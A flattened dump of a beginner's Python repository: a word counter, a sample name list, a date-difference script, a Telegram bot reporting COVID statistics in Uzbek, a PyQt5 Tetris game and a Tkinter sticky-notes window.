text.split() 5 | counter = collections.Counter(words) 6 | most_common , occurrences = counter.most_common()[0] 7 | 8 | longest = max(words, key=len) 9 | 10 | print(most_common, longest) -------------------------------------------------------------------------------- /names.txt: -------------------------------------------------------------------------------- 1 | Matthew Gordon 2 | Tracy Nolan 3 | Jacob Clark 4 | Erica Lee 5 | Howard Hicks 6 | Dr. Nancy Gomez 7 | Douglas Young 8 | Michael White 9 | Holly Brown 10 | Colin Brown 11 | -------------------------------------------------------------------------------- /return_range_two_days.py: -------------------------------------------------------------------------------- 1 | # Python3 program to find number of days 2 | # between two given dates 3 | from datetime import date 4 | 5 | def numOfDays(date1, date2): 6 | return (date2-date1).days 7 | 8 | # Driver program 9 | date1 = date(2018, 12, 13) 10 | date2 = date(2019, 2, 25) 11 | print(numOfDays(date1, date2), "days") 12 | -------------------------------------------------------------------------------- /telegram_bot.py: -------------------------------------------------------------------------------- 1 | # pip install telepot 2 | import time 3 | import telepot 4 | from covid19 import get_data 5 | from telepot.loop import MessageLoop 6 | 7 | def handle(msg): 8 | content_type, chat_type, chat_id = telepot.glance(msg) 9 | print(content_type, chat_type, chat_id) 10 | data = get_data() 11 | print(data) 12 | if content_type == 'text': 13 | user_text = msg['text'] 14 | if user_text == "start": 15 | covid_text = 'Corona virus statistikasini bilishni istaysizmi ?' 16 | bot.sendMessage(chat_id, covid_text) 17 | if user_text == "ha": 18 | bot.sendMessage(chat_id, f"Aniqlanganlar - {data[0]},\n \ 19 | Sog'ayganlar - {data[1]}, \n O'lganlar - {data[2]} \n \ 20 | Davolanishda - {data[3]}") 21 | 22 | TOKEN = 'TOKEN' 23 | bot = telepot.Bot(TOKEN) 24 | MessageLoop(bot, handle).run_as_thread() 25 | print ('Listening ...') 26 | 27 | # Keep the program running. 28 | while 1: 29 | time.sleep(10) -------------------------------------------------------------------------------- /tetris_game.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | import sys, random 5 | from PyQt5.QtWidgets import QMainWindow, QFrame, QDesktopWidget, QApplication 6 | from PyQt5.QtCore import Qt, QBasicTimer, pyqtSignal 7 | from PyQt5.QtGui import QPainter, QColor 8 | 9 | 10 | class Tetris(QMainWindow): 11 | 12 | def __init__(self): 13 | super().__init__() 14 | 15 | self.initUI() 16 | 17 | 18 | def initUI(self): 19 | 20 | self.tboard = Board(self) 21 | self.setCentralWidget(self.tboard) 22 | 23 | self.statusbar = self.statusBar() 24 | self.tboard.msg2Statusbar[str].connect(self.statusbar.showMessage) 25 | 26 | self.tboard.start() 27 | 28 | self.resize(250, 380) 29 | self.center() 30 | self.setWindowTitle('Tetris') 31 | self.show() 32 | 33 | 34 | def center(self): 35 | 36 | screen = QDesktopWidget().screenGeometry() 37 | size = self.geometry() 38 | self.move((screen.width()-size.width())/2, 39 | (screen.height()-size.height())/2) 40 | 41 | 42 | class Board(QFrame): 43 | 44 | msg2Statusbar = pyqtSignal(str) 45 | 46 | BoardWidth = 10 47 | BoardHeight = 22 48 | Speed = 300 49 | 50 | def __init__(self, parent): 51 | super().__init__(parent) 52 | 53 | self.initBoard() 54 | 55 | 56 | def initBoard(self): 57 | 58 | self.timer = QBasicTimer() 59 | self.isWaitingAfterLine = False 60 | 61 | self.curX = 0 62 | self.curY = 0 63 | self.numLinesRemoved = 0 64 | self.board = [] 65 | 66 | self.setFocusPolicy(Qt.StrongFocus) 67 | self.isStarted = False 68 | self.isPaused = False 69 | self.clearBoard() 70 | 71 | 72 | def shapeAt(self, x, y): 73 | return self.board[(y * Board.BoardWidth) + x] 74 | 75 | 76 | def setShapeAt(self, x, y, shape): 77 | self.board[(y * Board.BoardWidth) + x] = shape 78 | 79 | 80 | def squareWidth(self): 81 | return self.contentsRect().width() // Board.BoardWidth 82 | 83 | 84 | def squareHeight(self): 85 | return self.contentsRect().height() // Board.BoardHeight 86 | 87 | 88 | def start(self): 89 | 90 | if self.isPaused: 91 | return 92 | 93 | self.isStarted = True 94 | self.isWaitingAfterLine = False 95 | self.numLinesRemoved = 0 96 | self.clearBoard() 97 | 98 | self.msg2Statusbar.emit(str(self.numLinesRemoved)) 99 | 100 | self.newPiece() 101 | self.timer.start(Board.Speed, self) 102 | 103 | 104 | def pause(self): 105 | 106 | if not self.isStarted: 107 | return 108 | 109 | self.isPaused = not self.isPaused 110 | 111 | if self.isPaused: 112 | self.timer.stop() 113 | self.msg2Statusbar.emit("paused") 114 | 115 | else: 116 | self.timer.start(Board.Speed, self) 117 | self.msg2Statusbar.emit(str(self.numLinesRemoved)) 118 | 119 | self.update() 120 | 121 | 122 | def paintEvent(self, event): 123 | 124 | painter = QPainter(self) 125 | rect = self.contentsRect() 126 | 127 | boardTop = rect.bottom() - Board.BoardHeight * self.squareHeight() 128 | 129 | for i in range(Board.BoardHeight): 130 | for j in range(Board.BoardWidth): 131 | shape = self.shapeAt(j, Board.BoardHeight - i - 1) 132 | 133 | if shape != Tetrominoe.NoShape: 134 | self.drawSquare(painter, 135 | rect.left() + j * self.squareWidth(), 136 | boardTop + i * self.squareHeight(), shape) 137 | 138 | if self.curPiece.shape() != Tetrominoe.NoShape: 139 | 140 | for i in range(4): 141 | 142 | x = self.curX + self.curPiece.x(i) 143 | y = self.curY - self.curPiece.y(i) 144 | self.drawSquare(painter, rect.left() + x * self.squareWidth(), 145 | boardTop + (Board.BoardHeight - y - 1) * self.squareHeight(), 146 | self.curPiece.shape()) 147 | 148 | 149 | def keyPressEvent(self, event): 150 | 151 | if not self.isStarted or self.curPiece.shape() == Tetrominoe.NoShape: 152 | super(Board, self).keyPressEvent(event) 153 | return 154 | 155 | key = event.key() 156 | 157 | if key == Qt.Key_P: 158 | self.pause() 159 | return 160 | 161 | if self.isPaused: 162 | return 163 | 164 | elif key == Qt.Key_Left: 165 | self.tryMove(self.curPiece, self.curX - 1, self.curY) 166 | 167 | elif key == Qt.Key_Right: 168 | self.tryMove(self.curPiece, self.curX + 1, self.curY) 169 | 170 | elif key == Qt.Key_Down: 171 | self.tryMove(self.curPiece.rotateRight(), self.curX, self.curY) 172 | 173 | elif key == Qt.Key_Up: 174 | self.tryMove(self.curPiece.rotateLeft(), self.curX, self.curY) 175 | 176 | elif key == Qt.Key_Space: 177 | self.dropDown() 178 | 179 | elif key == Qt.Key_D: 180 | self.oneLineDown() 181 | 182 | else: 183 | super(Board, self).keyPressEvent(event) 184 | 185 | 186 | def timerEvent(self, event): 187 | 188 | if event.timerId() == self.timer.timerId(): 189 | 190 | if self.isWaitingAfterLine: 191 | self.isWaitingAfterLine = False 192 | self.newPiece() 193 | else: 194 | self.oneLineDown() 195 | 196 | else: 197 | super(Board, self).timerEvent(event) 198 | 199 | 200 | def clearBoard(self): 201 | 202 | for i in range(Board.BoardHeight * Board.BoardWidth): 203 | self.board.append(Tetrominoe.NoShape) 204 | 205 | 206 | def dropDown(self): 207 | 208 | newY = self.curY 209 | 210 | while newY > 0: 211 | 212 | if not self.tryMove(self.curPiece, self.curX, newY - 1): 213 | break 214 | 215 | newY -= 1 216 | 217 | self.pieceDropped() 218 | 219 | 220 | def oneLineDown(self): 221 | 222 | if not self.tryMove(self.curPiece, self.curX, self.curY - 1): 223 | self.pieceDropped() 224 | 225 | 226 | def pieceDropped(self): 227 | 228 | for i in range(4): 229 | 230 | x = self.curX + self.curPiece.x(i) 231 | y = self.curY - self.curPiece.y(i) 232 | self.setShapeAt(x, y, self.curPiece.shape()) 233 | 234 | self.removeFullLines() 235 | 236 | if not self.isWaitingAfterLine: 237 | self.newPiece() 238 | 239 | 240 | def removeFullLines(self): 241 | 242 | numFullLines = 0 243 | rowsToRemove = [] 244 | 245 | for i in range(Board.BoardHeight): 246 | 247 | n = 0 248 | for j in range(Board.BoardWidth): 249 | if not self.shapeAt(j, i) == Tetrominoe.NoShape: 250 | n = n + 1 251 | 252 | if n == 10: 253 | rowsToRemove.append(i) 254 | 255 | rowsToRemove.reverse() 256 | 257 | 258 | for m in rowsToRemove: 259 | 260 | for k in range(m, Board.BoardHeight): 261 | for l in range(Board.BoardWidth): 262 | self.setShapeAt(l, k, self.shapeAt(l, k + 1)) 263 | 264 | numFullLines = numFullLines + len(rowsToRemove) 265 | 266 | if numFullLines > 0: 267 | 268 | self.numLinesRemoved = self.numLinesRemoved + numFullLines 269 | self.msg2Statusbar.emit(str(self.numLinesRemoved)) 270 | 271 | self.isWaitingAfterLine = True 272 | self.curPiece.setShape(Tetrominoe.NoShape) 273 | self.update() 274 | 275 | 276 | def newPiece(self): 277 | 278 | self.curPiece = Shape() 279 | self.curPiece.setRandomShape() 280 | self.curX = Board.BoardWidth // 2 + 1 281 | self.curY = Board.BoardHeight - 1 + self.curPiece.minY() 282 | 283 | if not self.tryMove(self.curPiece, self.curX, self.curY): 284 | 285 | self.curPiece.setShape(Tetrominoe.NoShape) 286 | self.timer.stop() 287 | self.isStarted = False 288 | self.msg2Statusbar.emit("Game over") 289 | 290 | 291 | 292 | def tryMove(self, newPiece, newX, newY): 293 | 294 | for i in range(4): 295 | 296 | x = newX + newPiece.x(i) 297 | y = newY - newPiece.y(i) 298 | 299 | if x < 0 or x >= Board.BoardWidth or y < 0 or y >= Board.BoardHeight: 300 | return False 301 | 302 | if self.shapeAt(x, y) != Tetrominoe.NoShape: 303 | return False 304 | 305 | self.curPiece = newPiece 306 | self.curX = newX 307 | self.curY = newY 308 | self.update() 309 | 310 | return True 311 | 312 | 313 | def drawSquare(self, painter, x, y, shape): 314 | 315 | colorTable = [0x000000, 0xCC6666, 0x66CC66, 0x6666CC, 316 | 0xCCCC66, 0xCC66CC, 0x66CCCC, 0xDAAA00] 317 | 318 | color = QColor(colorTable[shape]) 319 | painter.fillRect(x + 1, y + 1, self.squareWidth() - 2, 320 | self.squareHeight() - 2, color) 321 | 322 | painter.setPen(color.lighter()) 323 | painter.drawLine(x, y + self.squareHeight() - 1, x, y) 324 | painter.drawLine(x, y, x + self.squareWidth() - 1, y) 325 | 326 | painter.setPen(color.darker()) 327 | painter.drawLine(x + 1, y + self.squareHeight() - 1, 328 | x + self.squareWidth() - 1, y + self.squareHeight() - 1) 329 | painter.drawLine(x + self.squareWidth() - 1, 330 | y + self.squareHeight() - 1, x + self.squareWidth() - 1, y + 1) 331 | 332 | 333 | class Tetrominoe(object): 334 | 335 | NoShape = 0 336 | ZShape = 1 337 | SShape = 2 338 | LineShape = 3 339 | TShape = 4 340 | SquareShape = 5 341 | LShape = 6 342 | MirroredLShape = 7 343 | 344 | 345 | class Shape(object): 346 | 347 | coordsTable = ( 348 | ((0, 0), (0, 0), (0, 0), (0, 0)), 349 | ((0, -1), (0, 0), (-1, 0), (-1, 1)), 350 | ((0, -1), (0, 0), (1, 0), (1, 1)), 351 | ((0, -1), (0, 0), (0, 1), (0, 2)), 352 | ((-1, 0), (0, 0), (1, 0), (0, 1)), 353 | ((0, 0), (1, 0), (0, 1), (1, 1)), 354 | ((-1, -1), (0, -1), (0, 0), (0, 1)), 355 | ((1, -1), (0, -1), (0, 0), (0, 1)) 356 | ) 357 | 358 | def __init__(self): 359 | 360 | self.coords = [[0,0] for i in range(4)] 361 | self.pieceShape = Tetrominoe.NoShape 362 | 363 | self.setShape(Tetrominoe.NoShape) 364 | 365 | 366 | def shape(self): 367 | return self.pieceShape 368 | 369 | 370 | def setShape(self, shape): 371 | 372 | table = Shape.coordsTable[shape] 373 | 374 | for i in range(4): 375 | for j in range(2): 376 | self.coords[i][j] = table[i][j] 377 | 378 | self.pieceShape = shape 379 | 380 | 381 | def setRandomShape(self): 382 | self.setShape(random.randint(1, 7)) 383 | 384 | 385 | def x(self, index): 386 | return self.coords[index][0] 387 | 388 | 389 | def y(self, index): 390 | return self.coords[index][1] 391 | 392 | 393 | def setX(self, index, x): 394 | self.coords[index][0] = x 395 | 396 | 397 | def setY(self, index, y): 398 | self.coords[index][1] = y 399 | 400 | 401 | def minX(self): 402 | 403 | m = self.coords[0][0] 404 | for i in range(4): 405 | m = min(m, self.coords[i][0]) 406 | 407 | return m 408 | 409 | 410 | def maxX(self): 411 | 412 | m = self.coords[0][0] 413 | for i in range(4): 414 | m = max(m, self.coords[i][0]) 415 | 416 | return m 417 | 418 | 419 | def minY(self): 420 | 421 | m = self.coords[0][1] 422 | for i in range(4): 423 | m = min(m, self.coords[i][1]) 424 | 425 | return m 426 | 427 | 428 | def maxY(self): 429 | 430 | m = self.coords[0][1] 431 | for i in range(4): 432 | m = max(m, self.coords[i][1]) 433 | 434 | return m 435 | 436 | 437 | def rotateLeft(self): 438 | 439 | if self.pieceShape == Tetrominoe.SquareShape: 440 | return self 441 | 442 | result = Shape() 443 | result.pieceShape = self.pieceShape 444 | 445 | for i in range(4): 446 | 447 | result.setX(i, self.y(i)) 448 | result.setY(i, -self.x(i)) 449 | 450 | return result 451 | 452 | 453 | def rotateRight(self): 454 | 455 | if self.pieceShape == Tetrominoe.SquareShape: 456 | return self 457 | 458 | result = Shape() 459 | result.pieceShape = self.pieceShape 460 | 461 | for i in range(4): 462 | 463 | result.setX(i, -self.y(i)) 464 | result.setY(i, self.x(i)) 465 | 466 | return result 467 | 468 | 469 | if __name__ == '__main__': 470 | 471 | app = QApplication([]) 472 | tetris = Tetris() 473 | sys.exit(app.exec_()) 474 | -------------------------------------------------------------------------------- /text_editor_tkinter.py: -------------------------------------------------------------------------------- 1 | from tkinter import * 2 | 3 | root = Tk() 4 | root.geometry("350x250") 5 | root.title("Sticky Notes") 6 | root.minsize(height=250, width=350) 7 | root.maxsize(height=250, width=350) 8 | 9 | 10 | # adding scrollbar 11 | scrollbar = Scrollbar(root) 12 | 13 | # packing scrollbar 14 | scrollbar.pack(side=RIGHT, 15 | fill=Y) 16 | 17 | 18 | text_info = Text(root, 19 | yscrollcommand=scrollbar.set) 20 | text_info.pack(fill=BOTH) 21 | 22 | # configuring the scrollbar 23 | scrollbar.config(command=text_info.yview) 24 | 25 | root.mainloop() 26 | --------------------------------------------------------------------------------